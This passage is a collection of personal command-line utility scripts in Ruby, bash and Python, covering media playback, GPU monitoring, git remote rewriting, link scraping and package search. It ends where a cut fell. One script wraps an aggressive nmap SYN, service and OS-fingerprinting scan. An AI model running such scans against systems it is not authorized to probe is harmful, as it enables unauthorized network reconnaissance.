UNIQUEID=FFD2FB503D2811E39676B2F49DBC42F6 Name=SubScene Verbtext=0 URL=http://subscene.com/subtitles/title.aspx?q=%s&l=eng Query= Key=sub Is post=0 UseTLD=0 Has endseparator=0 Encoding=utf-8 Search Type=0 Position=-1 Nameid=0 Deleted=0 <file_sep>#!/bin/bash BIN=/usr/lib/xfce4/notifyd/xfce4-notifyd timestamp() { date +"%Y-%m-%d %H:%M:%S" } if [ ! -f "$BIN" ]; then echo "Error: xfce4-notifyd isn't installed (at the expected location)!" exit 1 fi while true; do "$BIN" echo "[$(timestamp)] xfce4 notifyd crashed" sleep 5 done <file_sep>#!/bin/bash sudoifnotroot apt-get update <file_sep>#!/usr/bin/env ruby def which(bin) ENV["PATH"].split(":").find do |path| result = File.join(path, bin) return result if File.exists? result end nil end def magic(file) IO.popen(["file", file], "r") { |io| io.read }.strip end args = ARGV if args.empty? puts "usage: run <linux binary> [arguments]" puts " (Lets you execute a binary that doesn't have the +x mode set)" exit 1 end exe = args.shift if File.exists?(exe) exe = File.absolute_path(exe) else exe = which(exe) raise "Couldn't find executable" unless exe end info = magic(exe) # file /bin/ls: # /bin/ls: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=29912b8824a8868c656d280245b03b087b9341a1, stripped if info =~ /ELF (64|32)-bit.+executable.+interpreter (\S+),/ interp = $2 exec(interp, exe, *args) end<file_sep>#!/usr/bin/env ruby require 'epitools' # compute_mode # "Default" means multiple contexts are allowed per device. # "Exclusive_Thread" means only one context is allowed per device, usable from one thread at a time. # "Exclusive_Process" means only one context is allowed per device, usable from multiple threads at a time. # "Prohibited" means no contexts are allowed per device (no compute apps). # # pstate # performance state for the GPU: P0 (maximum performance) to P12 (minimum performance) # # fan.speed # utilization.gpu # memory.free # power.draw # inforom.power # inforom.pwr # pcie.link.width.max # pcie.link.gen.max # pcie.link.width.current # driver_version # clocks.current.sm # clocks.current.graphics # clocks.current.memory # clocks.applications.graphics # clocks.applications.memory # clocks.default_applications.graphics # clocks.default_applications.memory # clocks.max.graphics # clocks.max.sm # clocks.max.memory fields = %{ name memory.used memory.total temperature.gpu utilization.gpu fan.speed power.draw # clocks.applications.memory # clocks.applications.graphics # clocks.current.graphics clocks.max.graphics # clocks.current.sm clocks.max.sm # clocks.current.memory clocks.max.memory vbios_version }.each_line.map(&:strip).reject { |field| field.empty? or field[/^#/] }.map {|field| [field.gsub(".", "_").to_sym, field] }.to_h # Note: Unsupported features return "[Not Supported]" # Stat = OpenStruct.new(:name, :memused, :memtotal, :temp, :gpu, :fan, :power, :bios_version) Stat = Struct.new(*fields.keys) class Stat # def initialize(*args) # super # # self.memused = memused.split.first # # self.memtotal = memused.split.first # end def timestamp Time.now.strftime("%H:%M:%S") end def to_color # "#{timestamp} <8>[ <7>#{name} v#{bios_version} <8>| <10>#{memused}<2>/<10>#{memtotal}<2>MB <8>| <11>#{gpu}<3>% GPU <8>| <12>#{temp}<4>°C <8>| <13>#{pstate} <8>| <9>#{compute_mode} <8>]".colorize "#{timestamp} <8>[ <7>#{name} v#{vbios_version} <8>| <10>#{memory_used}<2>/<10>#{memory_total}<2>MB <8>| <13>#{power_draw} <5>W <8>| <12>#{temperature_gpu}<4>°C <8>| <11>#{utilization_gpu}<3>% GPU <8>]".colorize end end begin if ARGV.include? "-v" system *%w[watch -n1 nvidia-smi] else # cmd = ["nvidia-smi", "--query-gpu=#{fields.join(",")}", "--format=csv", "-l", "1"] cmd = ["nvidia-smi", "--query-gpu=#{fields.values.join(",")}", "--format=csv,noheader,nounits", "-l", "1"] run(*cmd) do |output| CSV.new(output).each do |row| s = Stat.new(*row.map(&:strip)) puts s.to_color end end end rescue Interrupt end<file_sep>#!/usr/bin/ruby -w # # Copyright (C) 2009 <NAME> [http://thomer.com/] # # Oct 22, 2009: Initial version # # This program is free software. You may distribute it under the terms of # the GNU General Public License as published by the Free Software # Foundation, version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # This program detects the presence of sound and invokes a program. # require 'getoptlong' # You need to replace MICROPHONE with the name of your microphone, as reported # by /proc/asound/cards MICROPHONE = 'QuickCam Pro 9000' HWDEVICE = `cat /proc/asound/cards | grep '#{MICROPHONE}' | awk '{print $1}'`.to_i SAMPLE_DURATION = 5 # seconds FORMAT = 'S16_LE' # this is the format that my USB microphone generates THRESHOLD = 0.15 if !File.exists?('/usr/bin/arecord') warn "/usr/bin/arecord not found; install package alsa-utils" exit 1 end if !File.exists?('/usr/bin/sox') warn "/usr/bin/sox not found; install package sox" exit 1 end if !File.exists?('/proc/asound/cards') warn "/proc/asound/cards not found" exit 1 end $options = {} opts = GetoptLong.new(*[ [ "--verbose", "-v", GetoptLong::NO_ARGUMENT ], ]) opts.each { |opt, arg| $options[opt] = arg } loop do out = `/usr/bin/arecord -D plughw:#{HWDEVICE},0 -d #{SAMPLE_DURATION} -f #{FORMAT} 2>/dev/null | /usr/bin/sox -t .wav - -n stat 2>&1` out.match(/Maximum amplitude:\s+(.*)/m) amplitude = $1.to_f puts amplitude if $options['--verbose'] if amplitude > THRESHOLD # You need to replace this with the program you wish to run # system "echo 'detected sound!'" else puts "no sound" end end <file_sep>#!/bin/bash mpv --no-video --ytdl-format=bestaudio ytdl://ytsearch10:"\"$*\""<file_sep>#!/bin/bash echo ${1:1} <file_sep>#!/usr/bin/env ruby require 'http' require 'coderay' require 'epitools' TD_FX_URL = "https://www.tdcanadatrust.com/fx/rates_tdct.html" CHAR_TRANSLATE = { "\\'" => "'" } def extract_data_from_javascript(js) toks = CodeRay::Scanners::JavaScript.new.tokenize(js).each_slice(2) parse_toks(toks) end def parse_toks(toks) result = [] current = [] toks.each do |tok, type| # p [tok, type] case type when :integer result << tok.to_i when :float result << tok.to_f else if (tok == :begin_group and type == :string) .. (tok == :end_group and type == :string) case type when :content current << tok when :char current << CHAR_TRANSLATE[tok] || tok when :delimiter, :string # skip else puts "Unknown token type: #{type}" end if tok == :end_group result << current.join current.clear end end end end result end if __FILE__ == $0 rates = Path["~/exchange-rates.json"] if ARGV.include? "--write" ## Write rate to json file html = HTTP.get(TD_FX_URL).to_s currency, toCAD, fromCAD = %w[nations sellToCAD buyFromCAD].map do |var| str = html.each_line.grep(/#{var}\s*=/).first extract_data_from_javascript(str) end # ex1 = "toggle('clue_DJ_6_5', 'clue_DJ_6_5_stuck', 'After the physicist who discovered X-rays, it\\'s another name for a doctor who interprets X-rays')" # ex2 = "toggle('clue_DJ_6_5', 'clue_DJ_6_5_stuck', '<em class=\"correct_response\">a roentgenologist</em><br /><br /><table width=\"100%\"><tr><td class=\"right\">Justin</td></tr></table>')" # ex1 = "nations = new Array('US DOLLAR','CANADIAN DOLLAR','US BORDERLESS PLAN','POUND STERLING','AUSTRALIAN DOLLAR','BARBADOS DOLLAR','CZECH KORUNA','DANISH KRONER','EAST CARIBBEAN DOLLAR','EURO','HONG KONG DOLLAR','INDIAN RUPEE','JAPANESE YEN','MEXICAN PESO','NEW ZEALAND DOLLAR','NORWEGIAN KRONE','PAKISTAN RUPEE','PHILIPPINE PESO','SAUDI RIYAL','SINGAPORE DOLLAR','S. AFRICAN RAND','SWEDISH KRONA','SWISS FRANC','UAE DIRHAM','POLISH ZLOTY','HUNGARIAN FORINT');" # ex2 = %{sellToCAD = new Array( 1.2500, 1.0000, 1.2561, 1.6295, 0.9450, "N/A", "N/A", 0.1886, "N/A", 1.4089, 0.1608, "N/A", 0.012436, "N/A", 0.8992, 0.1505, "N/A", "N/A", 0.3270, 0.9272, "N/A", 0.1478, 1.3007, "N/A", "N/A", "N/A");} table = currency.zip([toCAD, fromCAD].transpose).to_h # currencies = table.select { |curr, vals| curr =~ /US DOLLAR|EURO/i }.to_h rates.puts [Time.now.to_s, table].to_json pp table["US DOLLAR"] else ## Display history rates.read.each_line do |line| date, table = JSON.parse(line) date = date.split.first sell, buy = table["US DOLLAR"] puts "<7>#{date} <8>| <2>buy: <10>#{buy.to_s.ljust(6)} <8>| <3>sell: <11>#{sell.to_s.ljust(6)}".colorize end end end <file_sep>#!/bin/bash parseit() { read info echo "$info" while read i; do echo -n "$i: " uvcdynctrl -g "$i" done } uvcdynctrl -c | parseit <file_sep>#!/usr/bin/env ruby # get svn info location svnurl = `svn info | grep "^URL:"`.gsub('URL: ','').chomp # project = basename project = File.basename(Dir.pwd) puts cmd = "git svn clone #{svnurl} ../#{project}.git" `#{cmd}` <file_sep>#!/bin/bash #sudoifnotroot sysdig -c topprocs_file sudoifnotroot sysdig -c fdbytes_by proc.exe <file_sep>#!/usr/bin/env python import lz4.block, json, sys args = sys.argv[1:] if len(args) == 0: print("usage: jsonlz4cat <.jsonlz4 file(s)>") sys.exit(1) for arg in args: with open(arg, "rb") as f: if f.read(8) != b'mozLz40\x00': print("error: invalid header") sys.exit(1) else: print( json.dumps( json.loads( lz4.block.decompress(f.read() ) ), indent=2) ) <file_sep>#!/usr/bin/env ruby # TODO: # - extract-keyframes # - extract-audio # - normalize audio # - mplayer-info # - commands (for operation-sensitive arguments) ##################################################################################### gem 'slop', "~> 3.6" require 'pp' ##################################################################################### class FakeOptions def method_missing(*args); nil; end end ##################################################################################### def run_with_stderr(*cmd) result = IO.popen(cmd, err: [:child, :out]) { |io| io.read } result.empty? ? nil : result end def change_ext(path, new_ext) path.gsub(/\.[^\.]+$/, new_ext) end def getfattr(path) # # file: Scissor_Sisters_-_Invisible_Light.flv # user.m.options="-c" cmd = ["getfattr", "-d", "-e", "hex", path] attrs = {} IO.popen(cmd, "rb", :err=>[:child, :out]) do |io| io.each_line do |line| if line =~ /^([^=]+)=0x(.+)/ key = $1 value = [$2].pack("H*") # unpack hex string attrs[key] = value end end end attrs end def setfattr(path, key, value) cmd = %w[setfattr] if value == nil # delete cmd += ["-x", key] else # set cmd += ["-n", key, "-v", value] end cmd << path IO.popen(cmd, "rb", :err=>[:child, :out]) do |io| result = io.each_line.to_a error = {cmd: cmd, result: result.to_s}.inspect raise error if result.any? end end def show_xattrs(path) attrs = getfattr(path) return if attrs.empty? valid_key = /user\.(xdg|dublincore)/ invalid_key = /description/ grouped = {} attrs.each do |key, val| next if not key[valid_key] or key[invalid_key] _, group, name = key.split(".", 3) grouped[group] ||= [] grouped[group] << [name, val] end grouped.sort.each do |group, attrs| puts "[#{group}]" attrs.sort! attrs.each do |name, val| puts " #{name} => #{val}" end end end def trap(*args, &block) options = if args.last.is_a?(Hash) then args.pop else Hash.new end args = [args].flatten signals = if args.any? then args else Signal.list.keys end ignore = %w[ VTALRM CHLD CLD EXIT ILL FPE BUS SEGV ] unless ignore = options[:ignore] ignore = [ignore] unless ignore.is_a? Array signals = signals - ignore signals.each do |signal| p [:sig, signal] Signal.trap(signal) { yield signal } end end ##################################################################################### def info(filename) output = `mplayer -vo null -ao null -frames 0 -identify "#{filename}" 2>/dev/null|grep IDENTIFY` clip_info = {} video_info = {} audio_info = {} info = {} output.lines.each do |line| if line =~ /ID_([\dA-Z_]+)=(.+)$/ name, val = $1, $2 case name when /CLIP_INFO_(NAME|VALUE)(\d)+/ clip_info[$2] ||= {} clip_info[$2][$1.downcase] = val when "EXIT", "DEMUXER", "CLIP_INFO_N", "FILENAME", "SEEKABLE" # skip it when /VIDEO_(.+)/ video_info[$1.downcase] = val when /AUDIO_(.+)/ audio_info[$1.downcase] = val else info[name.downcase] = val end end end keyvals = clip_info.map do |k, v| [v["name"], v["value"]] end clip_info_unsorted = Hash[ *keyvals.flatten ] clip_info_keys = [ "title", "artist", "date", "creation_time", "album", "genre", ] clip_info = Hash[ *clip_info_keys.map { |key| [key, clip_info_unsorted.delete(key)] if clip_info_unsorted[key] }.compact.flatten ] clip_info.merge!(clip_info_unsorted) { "metadata" => clip_info, "video" => video_info, "audio" => audio_info, "info" => info, } end ##################################################################################### def cropdetect(file, verbose: false, seek: nil) captures = [] cmd = %w[mplayer -quiet -ao null -frames 10 -vf cropdetect -vo null] cmd += ["-ss", seek || "60"] cmd += [file] p cmd if verbose IO.popen(cmd) do |io| io.each_line do |line| if line =~ /\((-vf) (crop=.+?)\)/ captures << [$1, $2] end end end #["-vf", "crop=640:368:108:62"] grouped = captures.group_by { |c| c }.map{|k,v| [v.size, k] }.sort pp grouped best = grouped.last.last end ##################################################################################### def filtered_mplayer(cmd, verbose: false, &block) if verbose # Unfiltered! p cmd system(*cmd) return end # trap do # # keep running in the background! # system("notify-send", "my terminal disappeared! FUCK YOU TERMINAL!") # end if block_given? filter = block else filter = proc do |line| case line when /^Playing (.+)\./ puts puts $1 when /DE(?:CVIDEO|MUX).+?(VIDEO: .+)/, /DECAUDIO.+?(AUDIO:.+)/ puts " * #{$1}" when /DEC(VIDEO|AUDIO).+?Selected (.+)/ puts " |_ #{$2}" end end end # cmd.unshift("nohup") IO.popen(cmd, "rb", :err=>[:child, :out]) do |io| io.each_line(&filter) end puts end ### BETA CODE ####################################################################### def filtered_mplayer_killable(cmd, verbose: false, &block) if verbose # Unfiltered! p cmd system(*cmd) return end # trap do # # keep running in the background! # system("notify-send", "my terminal disappeared! FUCK YOU TERMINAL!") # end # cmd.unshift("nohup") pid = fork do if block_given? filter = block else filter = proc do |line| p line case line when /^Playing (.+)\./ STDOUT.puts STDOUT.puts $1 when /DE(?:CVIDEO|MUX).+?(VIDEO: .+)/, /DECAUDIO.+?(AUDIO:.+)/ STDOUT.puts " * #{$1}" when /DEC(VIDEO|AUDIO).+?Selected (.+)/ STDOUT.puts " |_ #{$2}" end end end Process.setsid # get immune to our parent's TTY signals Signal.trap("CLD") { exit } # mplayer died r, w = IO.pipe IO.popen(cmd, :err => [:child, :out]) do |io| begin Thread.new { IO.copy_stream(io, w) } r.each_line(&filter) # io.each_line(&filter) # loop do # begin # IO.copy_stream(io, STDOUT) # rescue Errno::EIO # STDOUT is gone, but we still need to pump the input # end # end rescue EOFError # mplayer died exit rescue Interrupt # parent wants us to go away exit # this kills mplayer with us with a SIGPIPE end end end loop do begin Process.wait(pid) rescue Interrupt Process.kill('INT', pid) # we still need to wait for mplayer to die # otherwise, the shell prints its prompt before mplayer has died rescue Errno::ECHILD exit end end puts end ##################################################################################### def report_on(file) require 'epitools' Thread.new do |th| sleep 1 puts loop do if File.exists? file print "\e[1G* Out file: #{File.size(file).commatize} bytes\e[J" end sleep 1 end end end ##################################################################################### def extract_audio(file, outfile=nil, extras: []) outfile = change_ext(file, ".wav") unless outfile puts "* Extracting audio from: #{file}" puts " to: #{outfile}" report_thread = report_on(outfile) cmd = %w[mplayer -vo null -af-clr -af resample=44100:0:1,format=s16ne] + ["-ao", "pcm:fast:file=%#{outfile.size}%#{Shellwords.shellescape outfile}", file] + extras filtered_mplayer cmd, verbose: @opts[:verbose] report_thread.kill outfile end ##################################################################################### def youtube_dl(url) # youtube-dl --get-url --get-filename -o '%(title)s.%(ext)s [%(extractor)s]' <url> # output: url \n title end ##################################################################################### def normalize(infile, outfile=nil) outfile = outfile || change_ext(infile, ".norm.wav") File.unlink outfile if File.exists? outfile cmd = %w[normalize --attack-exponent 1.1 -r 0.8 -o] + [outfile, infile] system(*cmd) outfile end def lame(infile, outfile=nil) outfile = outfile || change_ext(infile, ".mp3") cmd = %w[lame -V0] + [infile, outfile] system(*cmd) outfile end ##################################################################################### # OPTION PARSER def parse_options require 'slop' # lazy loaded #@opts ||= Slop.new @opts = Slop.parse(help: true, strict: true) do banner 'Usage: m [options] <videos, or dirs...>' on 'f', 'fullscreen', 'Fullscreen mode' on 'n', 'nosound', 'No sound' on 'c', 'crop', 'Auto-crop' on 'i', 'info', 'Information about video (resolution, codecs)' on 'H', 'headers', 'Show all information in video file\'s headers' on 'd', 'deinterlace', 'Blend deinterlace (using yadif)' on 'p', 'pp', 'Postprocessing' on 'b', 'bob', 'Bob deinterlace (using yadif)' on 'r=', 'aspect', 'Aspect ratio' on 's=', 'start', 'Start playing at this offset (HH:MM:SS or SS format)' on 'e=', 'end', 'Stop playing at this offset' on 'l=', 'length', 'Stop playing after this many seconds' on 'a=', 'audiofile', 'Play the audio track from a file' on 'w', 'wav', 'Dump audio to WAV file (same name as video, with .wav at the end)' on 'm', 'mp3', 'Dump audio to MP3 file (same name as video, with .mp3 at the end)' on 'o=', 'outfile', 'Output file (for MP3 and WAV commands)' on 'F=', 'fps', 'Set playback speed in frames-per-second' on 'M', 'mono', 'Fix the all-sound-coming-out-of-one-speaker problem' on 'N', 'normalize', 'Normalize the audio in this video (saved to a magic filename that will be automatically played)' on 'S', 'shuffle', 'Randomize the order of the videos' on 'i', 'index', 'Rebuild video\'s index (for seeking)' on 'v', 'verbose', 'Show all mplayer output spam' end end ##################################################################################### if $0 == __FILE__ # PARSE OPTIONS # require 'pry' # binding.pry if ARGV.empty? or ARGV.any? { |opt| opt[/^-/] } opts = parse_options else opts = FakeOptions.new end files = ARGV unless files.any? puts "Error: Must supply at least one video file." puts puts parse_options exit 1 end # MPLAYER ARGS cmd = %w[mplayer -quiet] extras = [] cmd << "-nosound" if opts.nosound? cmd << "-fs" if opts.fullscreen? cmd << "-forceidx" if opts.index? cmd += ["-aspect", opts[:aspect]] if opts[:aspect] cmd += ["-vf-add", "yadif"] if opts.deinterlace? cmd += ["-vf-add", "yadif=1"] if opts.bob? cmd += ["-vf-add", "scale=1280,pp7"] if opts.pp? cmd += ["-fps", opts[:fps]] if opts.fps? seek = opts[:start] if stop_at = opts[:end] require 'epitools' start_sec = (seek.from_hms || 0) end_sec = stop_at.from_hms length = (end_sec - start_sec).to_hms else length = opts[:length] end extras += ["-ss", seek] if seek extras += ["-endpos", length] if length # AUDIOFILE / NORMED AUDIO audiofile = opts[:audiofile] unless audiofile normed_audio = change_ext(files.first, ".norm.mp3") audiofile = normed_audio if File.exists? normed_audio end cmd += ["-audiofile", audiofile] if audiofile extras += ["-af-add", "extrastereo=0,volume=5"] if opts.mono? # TITLE if files.size == 1 title = File.basename files.first else title = "mplayer (#{files.size} files)" end cmd += ["-title", title] # ENSURE ONLY ONE COMMAND class Array def one_or_none?(&block) one?(&block) or none?(&block) end end mutually_exclusive_args = %w[crop mp3 wav] unless mutually_exclusive_args.one_or_none? { |option| opts.send(option + "?") } puts "Error: Can only specify one of these options:" puts " #{mutually_exclusive_args.map{|x| "--" + x }.join(", ")}" end cmd += %w[-vo null -ao null -endpos 0] if opts.info? # MAKE IT SO if false # ...so that everything is an "elsif" # elsif opts.info? # cmd += %w[-vo null -ao null -endpos 0] # filtered_mplayer cmd + files, verbose: opts.verbose? elsif opts.headers? require 'awesome_print' require 'epitools' lesspipe do |less| files.each do |file| less.puts "<8>### <14>#{file} <8>#{"#"*30}".colorize less.puts less.puts info(file).ai less.puts end end elsif opts.normalize? files.each do |file| puts "=== Normalizing #{file} ===================" puts wav = extract_audio(file, extras: extras) puts puts "#"*70 puts normwav = normalize(wav) File.unlink wav puts puts "#"*70 puts normmp3 = lame(normwav, change_ext(file, ".norm.mp3")) File.unlink normwav puts puts puts "=== Normalization complete! =====================" puts puts "Result is stored in #{normmp3.inspect}, and will be played automatically." puts end elsif opts.mp3? files.each do |file| outfile = opts[:outfile] || change_ext(file, ".mp3") puts "* Extracting audio from: #{file}" puts " to: #{outfile}" filtered_mplayer( %w[mencoder -of rawaudio -oac mp3lame -ovc copy -o] + [outfile, file], verbose: true ) do |line| if line =~ /^Pos:.+\((\d+%)\)/ print "\b"*6 + $1 end end end elsif opts.wav? files.each do |file| extract_audio(file, opts[:outfile]) end elsif opts.crop? files.each do |file| croptions = cropdetect(file, verbose: opts.verbose?, seek: opts[:start]) filtered_mplayer( cmd + extras + croptions + [file], verbose: opts.verbose? ) end else videos = [] cmd += %w[-cache 20000 -cache-min 0.0128] # 20 megs cache, start playing once 256k is cached # Populate the `videos` array files.each do |path| if File.directory? path # dirs if File.exists? File.join(path, "VIDEO_TS") or path[%r{(^|/)VIDEO_TS/?$}] # DVD videos << "dvd:///./#{path}" else # Directory full of videos require 'shellwords' videos += Dir[File.join(Shellwords.escape(path), "**/*.{avi,mkv,mp4,ogg,mov,mpg,mpeg}")] end else # Plain old file show_xattrs(path) videos << path end end videos = videos.sort_by { rand } if opts.shuffle? filtered_mplayer cmd + extras + videos, verbose: opts.verbose? end end ##################################################################################### <file_sep>#!/usr/bin/env ruby if ARGV.any? case ARGV.first when %r{^svn://} cmd = %w[svn checkout] + ARGV when %r{^git://}, %r{^\S+@\S+:\S+}, %r{^[^\/\s]+/[^\/\s]+} cmd = %w[git clone] + ARGV else puts "Unrecognized repository: #{ARGV.first}" exit 1 end if cmd puts "Executing: #{cmd.join ' '}" system(*cmd) else puts "Uh oh! cmd didn't get set." exit 2 end else puts "usage: clone <repository url>" end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: pacf <regexp>" echo "Finds packages that contain files matching <regexp>." else pacman -Ql | grep -Ei --color=always "$@" | less -RS fi <file_sep>#!/bin/bash CONNS=8 PIECE_SIZE=10M # ALLOC=prealloc # ALLOC=none ALLOC=trunc # ALLOC=falloc # on linux filesystems only if [ "$1" == "" ]; then echo "usage: ariastream" exit 1 fi aria2c \ --continue \ --enable-rpc \ --enable-http-pipelining \ --max-connection-per-server=$CONNS --split=$CONNS \ --min-split-size=$PIECE_SIZE \ --stream-piece-selector=inorder \ --file-allocation=$ALLOC \ "$@" <file_sep>#!/bin/bash if [ -z "$1" ]; then param="$(cb)" else param="$@" fi #opts="" #param="" #while (( $# > 0 )); do # if [[ "$1" =~ ^-\w ]]; then # opts="$opts $1" # else # param="$param $1" # fi # shift #done echo "* Playing ${param}" fixicon() { (sleep 5; seticon MPlayer mpv.png) & } #CMD="mplayer -use-filename-title -fs" CMD="mpv --fullscreen" if [ -z "$PLAYER" ]; then PLAYER="$CMD" fi if [[ "$param" =~ ^https?:// ]]; then if [[ "$param" =~ \.(mp4|mkv|avi|ogv|ogm)$ ]]; then url="$(echo "$param" | sed s/8888/8887/)" echo " |_ url: $url" else if [[ "$param" =~ /watch\?v=([^&]+) ]]; then param="https://youtu.be/${BASH_REMATCH[1]}" elif [[ "$param" =~ invidious.+/(.+) ]]; then param="https://youtu.be/${BASH_REMATCH[1]}" elif [[ "$param" =~ ^https?://([^/]+)/([^/]+/status/.+) ]]; then param="https://twitter.com/${BASH_REMATCH[2]}" fi echo " |_ youtube-dling $param" #url="$(youtube-dl -f b --youtube-skip-dash-manifest -g "$param")" fi echo " |_ starting $PLAYER" #fixicon #exec $PLAYER "$url" exec $PLAYER "$param" else #fixicon exec $PLAYER "$param" fi <file_sep>#!/bin/bash if [ "$1" == "" ]; then sudo su else sudo su -c "$*" fi <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do b = <<~END Usage: git-own [options] [<repo path(s)>] Options: --aur --github / --hub Purpose: Change all the URLs for a git repo's remotes from public https URLs to private SSH URLs. eg: https://github.com/user/repo => <EMAIL>:user/repo.git (Supports github, gitlab and AUR.) Options: END banner b.chomp # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## def ensure_dot_git(str) # str.sub(/(?!=\.git)$/, '.git') # str[/.+\.git/] || "#{str}.git" str[/\.git$/] ? str : "#{str}.git" end def get_git_dir(path=Path.pwd) loop do return nil if path.to_s == "/" gitdir = path/".git" return gitdir if gitdir.dir? path = path.parent end end paths = args.any? ? args.map(&:to_Path) : [Path.pwd] paths.each do |path| if dotgit = get_git_dir(path) config = (dotgit/"config") puts "<8>* <9>Owning <11>#{config}<9>...".colorize old_config = config.read new_config = old_config. gsub(%r{https?://git(hub|lab)\.com/(\w+)/(.+)$}) { "git@git#{$1}.com:#{$2}/#{ensure_dot_git($3)}" }. gsub(%r{https://aur.archlinux.org/(.+)$}) { "<EMAIL>:/#{ensure_dot_git($1)}" } if old_config == new_config puts " <8>|_ <7>No changes made.".colorize else puts " <8>|_ <14>Successfully owned! You can now push to this repo.".colorize puts tmp = Path.tmpfile tmp.write new_config cmd = ["diff", "-u", "--color", config, tmp] # p cmd system(*cmd) puts end config.write new_config else puts "Error: couldn't find a .git directory in any parent dir" exit 1 end end<file_sep>#!/usr/bin/ruby require 'epitools' opts = ARGV.select{|arg| arg =~ /^-\w{1,2}$/ } args = ARGV - opts inp = args[0] #out = inp.gsub(/\..{3,4}$/, '.avi') out = inp + ".avi" raise "Error: inp == out!" if inp == out if File.exists?(out) and not opts.include? "-y" loop do print "Overwrite #{out.inspect}? [Y/n] " case $stdin.gets.strip when /^n/i puts "Quitting..." exit 1 when /^y/i, "" puts "Overwriting!" break end end end xres = 640 # vbitrate = 1000 command = %{mencoder -oac mp3lame -ovc lavc -lavcopts vcodec=mpeg4:vqscale=2 -nosub}.split command += [inp, "-o", out] if opts.remove_if{|opt| opt == "-s"}.any? command += %{-vf scale -zoom -xy #{xres}}.split end puts puts "Executing:" puts "--------------------" puts " " + command.join(' ') puts puts system(*command) <file_sep>Opera Preferences version 2.1 ; Do not edit this file while Opera is running ; This file is stored in UTF-8 encoding [INFO] NAME=Opera Standard (Modified) [Windows Panel] Button2=Close page <file_sep>#!/usr/bin/env ruby #################################################################### require 'epitools' require 'oga' gem 'slop', "~> 3.6" require 'slop' #################################################################### # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: getlinks [options] <url(s)>" on "l", "links", "Print links (default)" on "i", "images", "Print images" on "m", "media", "Print non-image media (video and audio)" on "a", "all", "Everything!" on "g", "grep", "Look for URLs by parsing the page as plain text (ie: for urls in json blobs)" on "b", "blank-title", "Print links with blank titles (default: ignore them)" on "r", "recursive", "Use lftp's 'find' command to print all the links recursively" end args = ARGV #################################################################### class String def tighten gsub(/\s+/, ' ').strip end def url? match? %r{^\w+://.+} end end class URI::Generic alias_method :old_to_s, :to_s def to_s old_to_s.chomp("?") end end def join(root, url) url && URI.join(root, url) end #################################################################### def print_links(less, root_uri, doc, print_blank_title: false) already_printed = Set.new less.puts "## links" less.puts doc.css("a, iframe").each do |elem| case elem.name.downcase when "a" body = elem.text.tighten title = elem["title"]&.tighten next unless uri = join(root_uri, elem["href"]) unique_id = [body, title, uri] next if body&.empty? and title&.empty? and not print_blank_title next if already_printed.include? unique_id less.puts "# #{body}" unless body.nil? or body.empty? less.puts "# title: #{title}" unless title.nil? or title.empty? less.puts "#{uri}" when "iframe" # <iframe loading="lazy" title="Why Alien Life Would be our Doom - The Great Filter" width="1100" height="619" src="https://www.youtube.com/embed/UjtOGPJ0URM?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> body = nil title = elem["title"]&.tighten next unless uri = join(root_uri, elem["src"]) unique_id = [title, uri] next if already_printed.include? unique_id less.puts "# iframe title: #{title}" unless title.nil? or title.empty? less.puts "#{uri}" end less.puts already_printed.add unique_id end end def print_images(less, root_uri, doc) already_printed = Set.new less.puts "## images" less.puts doc.css("img").each do |img| title = img["title"]&.tighten alt = img["alt"]&.tighten alt = nil if title == alt next unless uri = join(root_uri, img["src"]) unique_id = [title, alt, uri] next if already_printed.include? unique_id less.puts "# title: #{title}" if title and not title.empty? less.puts "# alt: #{alt}" if alt and not alt.empty? less.puts "#{uri}" less.puts already_printed.add unique_id end end def print_media(less, root_uri, doc) less.puts "## Embedded media" doc.css("video, audio").each do |v| less.puts join(root_uri, v.to_s) end less.puts "## Linked media" doc.css("a").each do |a| if a["href"] =~ %r{\.(mp3|mp4|m4a|ogg|aac)$} less.puts join(root_uri, a["href"]) end end end FAKE_SPACE_CHAR = " " # 0xA0... I can copy/paste this char, but a string with its hex value ("\xA0") is illegal??? weird. URL_RE = %r{(?:https?:)?//[^"' <#{FAKE_SPACE_CHAR}]+} def print_grepped_urls(less, html) html.scan(URL_RE).each do |m| less.puts m less.puts end end #################################################################### lesspipe do |less| if opts.recursive? args.each do |url| IO.popen(["lftp", url, "-e", "find; quit"]) do |io| io.each_line.map do |line| fn = line.chomp next if fn[%r{/$}] # skip folders (we're being recursive, so this is pointless) fn = fn.scan(%r{[^/]+}).map { |thing| CGI.escape(thing).gsub("+", "%20") }.join("/") fn = fn.gsub(%r{^\./}, '') # remove leading './' from filename url = url.gsub(%r{/$}, '') # remove trailing '/' from url (if present) #uri = URI.parse "#{url}/#{fn}" less.puts "#{url}/#{fn}" end end end else; args.each do |url| if url.url? less.puts "### URL: #{url}" html = cached_curl(url) elsif File.exists?(url) less.puts "### File: #{url}" html = File.read(url) else $stderr.puts "Error: Unrecognized argument: #{url.inspect}" exit 1 end if opts.grep? less.puts print_grepped_urls(less, html) else doc = Oga.parse_html html root_uri = url.url? ? URI.parse(url) : nil title = doc.at_css("title")&.text&.tighten less.puts "### #{title}" if title and not title.empty? less.puts print_images(less, root_uri, doc) if opts.images? or opts[:all] print_media(less, root_uri, doc) if opts.media? or opts[:all] if opts[:xall] or opts.links? or (!opts.links? and !opts.images? and !opts.media?) print_links(less, root_uri, doc, print_blank_title: opts[:"blank-title"]) end end end; end end <file_sep>#!/bin/bash sudo nmap -P0 -sS -sV -O -A --defeat-rst-ratelimit -F "$@" <file_sep>#!/usr/bin/env ruby require 'epitools/path' require 'epitools/clitools' media_dirs = %w[~/m/movies ~/m/documentaries] progress_notification = Thread.new do sleep 2 notify_send("Looking through the movies...") end paths = media_dirs.flat_map do |media_dir| root = Path[media_dir] root.ls_R. select { |path| path.ext =~ /(mp4|mkv|avi|mpe?g|vob|flv|wmv)/ }. map { |path| [path.relative_to(root).to_s, path] }. reject { |rel, path| 